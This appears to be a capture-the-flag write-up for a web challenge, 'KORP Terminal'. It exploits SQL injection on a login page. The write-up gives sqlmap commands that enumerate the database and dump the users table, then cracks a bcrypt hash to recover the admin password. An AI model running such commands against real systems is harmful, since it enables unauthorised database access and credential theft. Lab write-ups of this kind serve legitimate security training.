KORP Terminal

Description

POINTS: 400 DIFFICULTY: very easy

Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

Solution

korp-terminal-1

Simple login page. If we try error based SQLi injection we are able to get an error.

Simple SQLi payloads didnt work, so I decided to use SQLMap.

  • You can get data from Dev Tools or Burpsuite.

  • --ignore-code 401 is required to keep testing, website returns 401 because of failed login.

  • --dbms=MySQL From error we know that backend is MariaDB (fork of the MySQL)

chevron-rightCommand: `sqlmap -u http://SERVER:IP --data 'username=x&password=x' --dbms=MySQL --ignore-code 401 --batch`hashtag
chevron-right`sqlmap -u http://83.136.249.247:33126 --data 'username=x&password=x' --dbms=MySQL --ignore-code 401 --current-db`hashtag
chevron-right`sqlmap -u http://83.136.249.247:33126 --data 'username=x&password=x' --dbms=MySQL --ignore-code 401 -D korp_terminal --tables`hashtag
chevron-right`sqlmap -u http://83.136.249.247:33126 --data 'username=x&password=x' --dbms=MySQL --ignore-code 401 -D korp_terminal -T users --dump`hashtag

The admin password is hashed, meaning we have to crack it:

  1. Identify hash type (probably 3200)

  1. Crack the hash

circle-info

Password: password123

Login and get flag.

circle-check

Last updated